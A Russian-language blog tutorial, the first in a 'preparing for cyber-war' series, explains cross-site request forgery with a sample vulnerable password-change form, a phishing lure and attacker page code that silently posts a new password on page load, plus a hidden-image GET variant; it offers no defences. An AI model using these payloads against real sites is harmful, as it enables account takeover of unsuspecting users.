Готовимся к кибер-войне. Часть I (CSRF атака)
@webware
Привет! Сегодня я решил запустить цикл статей под названием "Готовимся к кибер-войне", сначала мы познакомимся с основными атаками и уязвимостями, далее мы погрузимся в мир написания эксплойтов и зловредов, и на последок создадим свой хакерский чемоданчик. И так, ближе к теме.
Сегодня я расскажу о такой опасной атаке, как CSRF. CSRF (Cross Site Request Forgery(Межсайтовая подделка запросов)) - это атака при которой злоумышленник может выполнить различные действия на уязвимом сайте от имени других пользователей.
Выполняется это в таком порядке:
1) Жертва заманивается на сайт злоумышленника.
2) Сайт злоумышленника организован таким образом, что браузер автоматически отправляет вредоносный запрос на уязвимый сайт.Название атаки говорит само за себя.
Давайте рассмотрим небольшой пример:
Допустим что существует web-приложение (http://www.vulnsite.com) , которое принимает от пользователя пароль и изменяет его в своей базе данных. Причём делает оно это без подтверждения старого пароля или/и ввода капчи. Вот его исходники.
<html>
<head>
<title>
VulnSite - we are unsecured!
</title>
</head>
<body>
Please, enter new password!
<form action="change.php" method="POST">
<input type="password" name="newpassword"/>
<input type="submit" value="Change!" />
</form>
</body>
</html>
А change.php в свою очередь, меняет пароль пользователя. Он и станет объектом нашей атаки. Допустим мы знаем почтовый адрес нашей жертвы, пусть он будет victim@mail.com. Отправляем ему данное содержание.Привет! Посмотри на котиков! <a href="malicous.com/index.html" >Клик</a>
Когда жертва нажмёт на ссылку, она попадёт на зловредный сайт. Вот его исходники.
<html>
<head>
<title>
Malico - we will hack you!
</title>
<script>
function send(){
var site = getXmlHttp();
site.open('POST', 'http://www.vulnsite.com/change.php',true)
site.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
site.send('newpassword='+ encodeURIComponent('wewillhackyou1337'))
}
</head>
<body onload="send()">
<img src="kitty.png" >
</body>
</html>
Жертва посмотрит на котиков, а мы получим его аккаунт
. Данный JS скрипт отправит POST-запрос на уязвимый сайт от имени жертвы (если она авторизирована) при загрузке тела страницы, и пароль будет успешно изменён. Что если данные передаются GET-запросом? Тогда можно воспользоваться данным трюком:
<img src="http://www.vulnsite.com/change.php?newpassword=wewillhackyou1337" width="0" height="0" border="0">
Напоминаю что этот способ работает когда данные передаются GET-запросом (через URL), если данные передаются POST-запросом, то как вариант, можно воспользоваться JS скриптом выше. Трюк выше исполняется из-за того, что для загрузки картинки браузер отправляет запрос по URL, который указан в src атрибуте, остальные атрибуты служат для скрытия картинки. Атака применима, когда что-то нужно изменить, потому что атакующий не сможет увидеть ответ от web-приложения. В принципе атака проста и понятна, поэтому проэксплуатировать её будет технически просто.
Ну, на этом всё, спасибо за внимание!